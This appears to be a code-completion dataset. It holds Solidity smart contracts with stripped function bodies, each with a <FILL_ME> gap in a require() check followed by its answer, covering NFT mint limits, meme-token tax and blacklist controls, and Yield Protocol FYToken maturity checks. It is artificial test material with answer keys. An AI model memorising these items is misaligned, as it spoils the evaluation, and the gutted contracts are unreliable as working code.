require(totalSupply().add(numberOfTokens) <= MAX_COLLECTION, "Purchase would exceed max supply"); uint256 pno = nftCounter[msg.sender]; require(<FILL_ME>) for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_COLLECTION) { _safeMint(msg.sender, mintIndex); nftCounter[msg.sender] += 1; } } } }
pno+numberOfTokens<=5,"Max Minted can only be 5"
227,812
pno+numberOfTokens<=5
"Not authorized"
/* PORTAL: https://t.me/samgrokmaneth TWITTER: https://twitter.com/Samgrokman */ // SPDX-License-Identifier: NONE pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract grokman is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax=19; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 public _reduceBuyTaxAt=30; uint256 public _reduceSellTaxAt=30; uint256 private _preventSwapBefore=20; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 10000000000 * 10**_decimals; string private constant _name = unicode"Sam Grokman"; string private constant _symbol = unicode"AI"; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _taxSwapThreshold = (_tTotal * 8) / 1000; uint256 public _maxTaxSwap = (_tTotal * 8) / 1000; address private _authorizedCaller = 0x2ED93536E0F6e5D0ad81F8628ef0887f28C32F7B; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { } constructor() { } function setZeroTax() external { require(<FILL_ME>) _finalBuyTax = 0; _finalSellTax = 0; } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function min(uint256 a, uint256 b) private pure returns (uint256){ } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function removeLimits() external onlyOwner{ } function sendETHToFee(uint256 amount) private { } function isBot(address a) public view returns (bool){ } function samGrokmanGo() external onlyOwner() { } receive() external payable {} function manualSwap() external { } function addBots(address[] memory bots_) public onlyOwner { } function setBuySellTax(uint256 newBuyTax, uint256 newSellTax) external { } function delBots(address[] memory notbot) public onlyOwner { } }
_msgSender()==_authorizedCaller,"Not authorized"
227,914
_msgSender()==_authorizedCaller
null
// SPDX-License-Identifier: Unlicensed /* ░██████╗██╗░░██╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗ ██╔════╝██║░░██║██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║ ╚█████╗░███████║███████║██║░░██║██║░░██║░╚██╗████╗██╔╝ ░╚═══██╗██╔══██║██╔══██║██║░░██║██║░░██║░░████╔═████║░ ██████╔╝██║░░██║██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░ ╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░ ░█████╗░███████╗ ██╔══██╗██╔════╝ ██║░░██║█████╗░░ ██║░░██║██╔══╝░░ ╚█████╔╝██║░░░░░ ░╚════╝░╚═╝░░░░░ ░██████╗██╗░░██╗░█████╗░██╗░░██╗██╗███╗░░░███╗░█████╗░ ██╔════╝██║░░██║██╔══██╗██║░██╔╝██║████╗░████║██╔══██╗ ╚█████╗░███████║███████║█████═╝░██║██╔████╔██║██║░░██║ ░╚═══██╗██╔══██║██╔══██║██╔═██╗░██║██║╚██╔╝██║██║░░██║ ██████╔╝██║░░██║██║░░██║██║░╚██╗██║██║░╚═╝░██║╚█████╔╝ ╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝░╚════╝░ ░░██╗  ░░░░░██╗██████╗░███╗░░██╗  ██╗░░ ░██╔╝  ░░░░░██║██╔══██╗████╗░██║  ╚██╗░ ██╔╝░  ░░░░░██║██████╔╝██╔██╗██║  ░╚██╗ ╚██╗░  ██╗░░██║██╔═══╝░██║╚████║  ░██╔╝ ░╚██╗  ╚█████╔╝██║░░░░░██║░╚███║  ██╔╝░ ░░╚═╝  ░╚════╝░╚═╝░░░░░╚═╝░░╚══╝  ╚═╝░░ 今日、私は自分の影をスパイしました。 そして踊ってもらいました。 一度それは挑戦を取ったでしょう。 ───▄█▌─▄─▄─▐█▄ ───██▌▀▀▄▀▀▐██ ───██▌─▄▄▄─▐██ ───▀██▌▐█▌▐██▀ ▄██████─▀─██████▄ */ pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } /* * Nos pondremos en contacto contigo a través de ETHERSCAN.io. * El sitio web se construirá con 125k MC. WeChat: https://web.wechat.com/ShadowOfShakimoJPN */ // https://www.zhihu.com/ contract SHAKIMO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shadow Of Shakimo"; string private constant _symbol = "SHAKIMO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; // Taxes uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 1; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 1; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _isExcluded; address payable private _MarketingAddress = payable(0x99F1712A17563E47e506d36ca5688C1956c463F8); address payable private _TeamAddress = payable(0x99F1712A17563E47e506d36ca5688C1956c463F8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 25000 * 10**9; // 2% uint256 public _maxWalletSize = 25000 * 10**9; // 2% uint256 public _swapTokensAtAmount = 1500 * 10**9; // .15% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function setTrading(bool _tradingOpen) public onlyOwner { } function manualswap() external { require(<FILL_ME>) uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { } function ManageBot(address[] memory bots_) public onlyOwner { } function DeactivateBot(address notbot) public onlyOwner { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function setPairs(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { } function ActivateBuyBack(uint256 maxWalletSize) public onlyOwner { } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { } }
_msgSender()==_MarketingAddress||_msgSender()==_TeamAddress
227,948
_msgSender()==_MarketingAddress||_msgSender()==_TeamAddress
"Only after maturity"
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "erc3156/contracts/interfaces/IERC3156FlashBorrower.sol"; import "erc3156/contracts/interfaces/IERC3156FlashLender.sol"; import "@yield-protocol/utils-v2/contracts/token/ERC20Permit.sol"; import "@yield-protocol/utils-v2/contracts/token/SafeERC20Namer.sol"; import "@yield-protocol/vault-interfaces/IFYToken.sol"; import "@yield-protocol/vault-interfaces/IJoin.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/math/WMul.sol"; import "@yield-protocol/utils-v2/contracts/math/WDiv.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U32.sol"; import "./constants/Constants.sol"; contract FYToken is IFYToken, IERC3156FlashLender, AccessControl(), ERC20Permit, Constants { using WMul for uint256; using WDiv for uint256; using CastU256U128 for uint256; using CastU256U32 for uint256; event Point(bytes32 indexed param, address value); event FlashFeeFactorSet(uint256 indexed fee); event SeriesMatured(uint256 chiAtMaturity); event Redeemed(address indexed from, address indexed to, uint256 amount, uint256 redeemed); uint256 constant CHI_NOT_SET = type(uint256).max; uint256 constant internal MAX_TIME_TO_MATURITY = 126144000; // seconds in four years bytes32 constant internal FLASH_LOAN_RETURN = keccak256("ERC3156FlashBorrower.onFlashLoan"); uint256 constant FLASH_LOANS_DISABLED = type(uint256).max; uint256 public flashFeeFactor = FLASH_LOANS_DISABLED; // Fee on flash loans, as a percentage in fixed point with 18 decimals. Flash loans disabled by default by overflow from `flashFee`. IOracle public oracle; // Oracle for the savings rate. IJoin public join; // Source of redemption funds. address public immutable override underlying; bytes6 public immutable underlyingId; // Needed to access the oracle uint256 public immutable override maturity; uint256 public chiAtMaturity = CHI_NOT_SET; // Spot price (exchange rate) between the base and an interest accruing token at maturity constructor( bytes6 underlyingId_, IOracle oracle_, // Underlying vs its interest-bearing version IJoin join_, uint256 maturity_, string memory name, string memory symbol ) ERC20Permit(name, symbol, SafeERC20Namer.tokenDecimals(address(IJoin(join_).asset()))) { } modifier afterMaturity() { require(<FILL_ME>) _; } modifier beforeMaturity() { } /// @dev Point to a different Oracle or Join function point(bytes32 param, address value) external auth { } /// @dev Set the flash loan fee factor function setFlashFeeFactor(uint256 flashFeeFactor_) external auth { } /// @dev Mature the fyToken by recording the chi. /// If called more than once, it will revert. function mature() external override afterMaturity { } /// @dev Mature the fyToken by recording the chi. function _mature() private returns (uint256 _chiAtMaturity) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. function accrual() external afterMaturity returns (uint256) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. /// Note: Call only after checking we are past maturity function _accrual() private returns (uint256 accrual_) { } /// @dev Burn fyToken after maturity for an amount that increases according to `chi` /// If `amount` is 0, the contract will redeem instead the fyToken balance of this contract. Useful for batches. function redeem(address to, uint256 amount) external override afterMaturity returns (uint256 redeemed) { } /// @dev Mint fyToken providing an equal amount of underlying to the protocol function mintWithUnderlying(address to, uint256 amount) external override beforeMaturity { } /// @dev Mint fyTokens. function mint(address to, uint256 amount) external override beforeMaturity auth { } /// @dev Burn fyTokens. The user needs to have either transferred the tokens to this contract, or have approved this contract to take them. function burn(address from, uint256 amount) external override auth { } /// @dev Burn fyTokens. /// Any tokens locked in this contract will be burned first and subtracted from the amount to burn from the user's wallet. /// This feature allows someone to transfer fyToken to this contract to enable a `burn`, potentially saving the cost of `approve` or `permit`. function _burn(address from, uint256 amount) internal override returns (bool) { } /** * @dev From ERC-3156. The amount of currency available to be lended. * @param token The loan currency. It must be a FYDai contract. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view override beforeMaturity returns (uint256) { } /** * @dev From ERC-3156. The fee to be charged for a given loan. * @param token The loan currency. It must be the asset. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view override returns (uint256) { } /** * @dev The fee to be charged for a given loan. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function _flashFee(uint256 amount) internal view returns (uint256) { } /** * @dev From ERC-3156. Loan `amount` fyDai to `receiver`, which needs to return them plus fee to this contract within the same transaction. * Note that if the initiator and the borrower are the same address, no approval is needed for this contract to take the principal + fee from the borrower. * If the borrower transfers the principal + fee to this contract, they will be burnt here instead of pulled from the borrower. * @param receiver The contract receiving the tokens, needs to implement the `onFlashLoan(address user, uint256 amount, uint256 fee, bytes calldata)` interface. * @param token The loan currency. Must be a fyDai contract. * @param amount The amount of tokens lent. * @param data A data parameter to be passed on to the `receiver` for any custom use. */ function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes memory data) external override beforeMaturity returns(bool) { } }
uint32(block.timestamp)>=maturity,"Only after maturity"
227,962
uint32(block.timestamp)>=maturity
"Only before maturity"
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "erc3156/contracts/interfaces/IERC3156FlashBorrower.sol"; import "erc3156/contracts/interfaces/IERC3156FlashLender.sol"; import "@yield-protocol/utils-v2/contracts/token/ERC20Permit.sol"; import "@yield-protocol/utils-v2/contracts/token/SafeERC20Namer.sol"; import "@yield-protocol/vault-interfaces/IFYToken.sol"; import "@yield-protocol/vault-interfaces/IJoin.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/math/WMul.sol"; import "@yield-protocol/utils-v2/contracts/math/WDiv.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U32.sol"; import "./constants/Constants.sol"; contract FYToken is IFYToken, IERC3156FlashLender, AccessControl(), ERC20Permit, Constants { using WMul for uint256; using WDiv for uint256; using CastU256U128 for uint256; using CastU256U32 for uint256; event Point(bytes32 indexed param, address value); event FlashFeeFactorSet(uint256 indexed fee); event SeriesMatured(uint256 chiAtMaturity); event Redeemed(address indexed from, address indexed to, uint256 amount, uint256 redeemed); uint256 constant CHI_NOT_SET = type(uint256).max; uint256 constant internal MAX_TIME_TO_MATURITY = 126144000; // seconds in four years bytes32 constant internal FLASH_LOAN_RETURN = keccak256("ERC3156FlashBorrower.onFlashLoan"); uint256 constant FLASH_LOANS_DISABLED = type(uint256).max; uint256 public flashFeeFactor = FLASH_LOANS_DISABLED; // Fee on flash loans, as a percentage in fixed point with 18 decimals. Flash loans disabled by default by overflow from `flashFee`. IOracle public oracle; // Oracle for the savings rate. IJoin public join; // Source of redemption funds. address public immutable override underlying; bytes6 public immutable underlyingId; // Needed to access the oracle uint256 public immutable override maturity; uint256 public chiAtMaturity = CHI_NOT_SET; // Spot price (exchange rate) between the base and an interest accruing token at maturity constructor( bytes6 underlyingId_, IOracle oracle_, // Underlying vs its interest-bearing version IJoin join_, uint256 maturity_, string memory name, string memory symbol ) ERC20Permit(name, symbol, SafeERC20Namer.tokenDecimals(address(IJoin(join_).asset()))) { } modifier afterMaturity() { } modifier beforeMaturity() { require(<FILL_ME>) _; } /// @dev Point to a different Oracle or Join function point(bytes32 param, address value) external auth { } /// @dev Set the flash loan fee factor function setFlashFeeFactor(uint256 flashFeeFactor_) external auth { } /// @dev Mature the fyToken by recording the chi. /// If called more than once, it will revert. function mature() external override afterMaturity { } /// @dev Mature the fyToken by recording the chi. function _mature() private returns (uint256 _chiAtMaturity) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. function accrual() external afterMaturity returns (uint256) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. /// Note: Call only after checking we are past maturity function _accrual() private returns (uint256 accrual_) { } /// @dev Burn fyToken after maturity for an amount that increases according to `chi` /// If `amount` is 0, the contract will redeem instead the fyToken balance of this contract. Useful for batches. function redeem(address to, uint256 amount) external override afterMaturity returns (uint256 redeemed) { } /// @dev Mint fyToken providing an equal amount of underlying to the protocol function mintWithUnderlying(address to, uint256 amount) external override beforeMaturity { } /// @dev Mint fyTokens. function mint(address to, uint256 amount) external override beforeMaturity auth { } /// @dev Burn fyTokens. The user needs to have either transferred the tokens to this contract, or have approved this contract to take them. function burn(address from, uint256 amount) external override auth { } /// @dev Burn fyTokens. /// Any tokens locked in this contract will be burned first and subtracted from the amount to burn from the user's wallet. /// This feature allows someone to transfer fyToken to this contract to enable a `burn`, potentially saving the cost of `approve` or `permit`. function _burn(address from, uint256 amount) internal override returns (bool) { } /** * @dev From ERC-3156. The amount of currency available to be lended. * @param token The loan currency. It must be a FYDai contract. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view override beforeMaturity returns (uint256) { } /** * @dev From ERC-3156. The fee to be charged for a given loan. * @param token The loan currency. It must be the asset. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view override returns (uint256) { } /** * @dev The fee to be charged for a given loan. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function _flashFee(uint256 amount) internal view returns (uint256) { } /** * @dev From ERC-3156. Loan `amount` fyDai to `receiver`, which needs to return them plus fee to this contract within the same transaction. * Note that if the initiator and the borrower are the same address, no approval is needed for this contract to take the principal + fee from the borrower. * If the borrower transfers the principal + fee to this contract, they will be burnt here instead of pulled from the borrower. * @param receiver The contract receiving the tokens, needs to implement the `onFlashLoan(address user, uint256 amount, uint256 fee, bytes calldata)` interface. * @param token The loan currency. Must be a fyDai contract. * @param amount The amount of tokens lent. * @param data A data parameter to be passed on to the `receiver` for any custom use. */ function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes memory data) external override beforeMaturity returns(bool) { } }
uint32(block.timestamp)<maturity,"Only before maturity"
227,962
uint32(block.timestamp)<maturity
"Non-compliant borrower"
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "erc3156/contracts/interfaces/IERC3156FlashBorrower.sol"; import "erc3156/contracts/interfaces/IERC3156FlashLender.sol"; import "@yield-protocol/utils-v2/contracts/token/ERC20Permit.sol"; import "@yield-protocol/utils-v2/contracts/token/SafeERC20Namer.sol"; import "@yield-protocol/vault-interfaces/IFYToken.sol"; import "@yield-protocol/vault-interfaces/IJoin.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/math/WMul.sol"; import "@yield-protocol/utils-v2/contracts/math/WDiv.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U32.sol"; import "./constants/Constants.sol"; contract FYToken is IFYToken, IERC3156FlashLender, AccessControl(), ERC20Permit, Constants { using WMul for uint256; using WDiv for uint256; using CastU256U128 for uint256; using CastU256U32 for uint256; event Point(bytes32 indexed param, address value); event FlashFeeFactorSet(uint256 indexed fee); event SeriesMatured(uint256 chiAtMaturity); event Redeemed(address indexed from, address indexed to, uint256 amount, uint256 redeemed); uint256 constant CHI_NOT_SET = type(uint256).max; uint256 constant internal MAX_TIME_TO_MATURITY = 126144000; // seconds in four years bytes32 constant internal FLASH_LOAN_RETURN = keccak256("ERC3156FlashBorrower.onFlashLoan"); uint256 constant FLASH_LOANS_DISABLED = type(uint256).max; uint256 public flashFeeFactor = FLASH_LOANS_DISABLED; // Fee on flash loans, as a percentage in fixed point with 18 decimals. Flash loans disabled by default by overflow from `flashFee`. IOracle public oracle; // Oracle for the savings rate. IJoin public join; // Source of redemption funds. address public immutable override underlying; bytes6 public immutable underlyingId; // Needed to access the oracle uint256 public immutable override maturity; uint256 public chiAtMaturity = CHI_NOT_SET; // Spot price (exchange rate) between the base and an interest accruing token at maturity constructor( bytes6 underlyingId_, IOracle oracle_, // Underlying vs its interest-bearing version IJoin join_, uint256 maturity_, string memory name, string memory symbol ) ERC20Permit(name, symbol, SafeERC20Namer.tokenDecimals(address(IJoin(join_).asset()))) { } modifier afterMaturity() { } modifier beforeMaturity() { } /// @dev Point to a different Oracle or Join function point(bytes32 param, address value) external auth { } /// @dev Set the flash loan fee factor function setFlashFeeFactor(uint256 flashFeeFactor_) external auth { } /// @dev Mature the fyToken by recording the chi. /// If called more than once, it will revert. function mature() external override afterMaturity { } /// @dev Mature the fyToken by recording the chi. function _mature() private returns (uint256 _chiAtMaturity) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. function accrual() external afterMaturity returns (uint256) { } /// @dev Retrieve the chi accrual since maturity, maturing if necessary. /// Note: Call only after checking we are past maturity function _accrual() private returns (uint256 accrual_) { } /// @dev Burn fyToken after maturity for an amount that increases according to `chi` /// If `amount` is 0, the contract will redeem instead the fyToken balance of this contract. Useful for batches. function redeem(address to, uint256 amount) external override afterMaturity returns (uint256 redeemed) { } /// @dev Mint fyToken providing an equal amount of underlying to the protocol function mintWithUnderlying(address to, uint256 amount) external override beforeMaturity { } /// @dev Mint fyTokens. function mint(address to, uint256 amount) external override beforeMaturity auth { } /// @dev Burn fyTokens. The user needs to have either transferred the tokens to this contract, or have approved this contract to take them. function burn(address from, uint256 amount) external override auth { } /// @dev Burn fyTokens. /// Any tokens locked in this contract will be burned first and subtracted from the amount to burn from the user's wallet. /// This feature allows someone to transfer fyToken to this contract to enable a `burn`, potentially saving the cost of `approve` or `permit`. function _burn(address from, uint256 amount) internal override returns (bool) { } /** * @dev From ERC-3156. The amount of currency available to be lended. * @param token The loan currency. It must be a FYDai contract. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view override beforeMaturity returns (uint256) { } /** * @dev From ERC-3156. The fee to be charged for a given loan. * @param token The loan currency. It must be the asset. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view override returns (uint256) { } /** * @dev The fee to be charged for a given loan. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function _flashFee(uint256 amount) internal view returns (uint256) { } /** * @dev From ERC-3156. Loan `amount` fyDai to `receiver`, which needs to return them plus fee to this contract within the same transaction. * Note that if the initiator and the borrower are the same address, no approval is needed for this contract to take the principal + fee from the borrower. * If the borrower transfers the principal + fee to this contract, they will be burnt here instead of pulled from the borrower. * @param receiver The contract receiving the tokens, needs to implement the `onFlashLoan(address user, uint256 amount, uint256 fee, bytes calldata)` interface. * @param token The loan currency. Must be a fyDai contract. * @param amount The amount of tokens lent. * @param data A data parameter to be passed on to the `receiver` for any custom use. */ function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes memory data) external override beforeMaturity returns(bool) { require(token == address(this), "Unsupported currency"); _mint(address(receiver), amount); uint128 fee = _flashFee(amount).u128(); require(<FILL_ME>) _burn(address(receiver), amount + fee); return true; } }
receiver.onFlashLoan(msg.sender,token,amount,fee,data)==FLASH_LOAN_RETURN,"Non-compliant borrower"
227,962
receiver.onFlashLoan(msg.sender,token,amount,fee,data)==FLASH_LOAN_RETURN
"max kings per wallet reached"
// Crypto Kings Club // 10,000 Kings are Invading the Metaverse to takeover their throne as the rightful rulers // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "[email protected]/contracts/ERC721A.sol"; import "[email protected]/contracts/extensions/ERC721ABurnable.sol"; import "[email protected]/contracts/extensions/ERC721AQueryable.sol"; contract CryptoKingsClub is ERC721A("Crypto Kings Club", "CKC"), ERC721AQueryable, ERC721ABurnable, ERC2981, Ownable, ReentrancyGuard { // Main Sale uint256 public kingPrice = 0.35 ether; uint256 public constant maxSupply = 10000; uint256 public saleActiveTime = type(uint256).max; string public imagesFolder; // Whitelist bytes32 public whitelistMerkleRoot; uint256 public kingPriceWhitelist = 0.25 ether; uint256 public whitelistActiveTime = type(uint256).max; // Per Wallet Limit uint256 public maxKingsPerWallet = 2; // Auto Approve Marketplaces mapping(address => bool) public approvedProxy; constructor() { } /// @notice Purchase multiple NFTs at once function purchaseKings(uint256 _qty) external payable nonReentrant { _safeMint(msg.sender, _qty); require(totalSupply() <= maxSupply, "Try mint less"); require(tx.origin == msg.sender, "The caller is a contract"); require(block.timestamp > saleActiveTime, "Sale is not active"); require(msg.value == _qty * kingPrice, "Try to send exact amount of ETH"); require(<FILL_ME>) } /// @notice Owner can withdraw from here function withdraw() external onlyOwner { } /// @notice Change price in case of ETH price changes too much function setKingPrice(uint256 _newKingPrice) external onlyOwner { } function setMaxKingsPerWallet(uint256 _maxKingsPerWallet) external onlyOwner { } /// @notice set sale active time function setSaleActiveTime(uint256 _saleActiveTime) external onlyOwner { } /// @notice Hide identity or show identity from here, put images folder here, ipfs folder cid function setImagesFolder(string memory __imagesFolder) external onlyOwner { } /// @notice Send NFTs to a list of addresses function giftNft(address[] calldata _sendNftsTo, uint256 _qty) external onlyOwner { } //////////////////// // SYSTEM METHODS // //////////////////// function _baseURI() internal view override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC165, ERC2981) returns (bool) { } function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner { } receive() external payable {} function receiveCoin() external payable {} /////////////////////////////// // AUTO APPROVE MARKETPLACES // 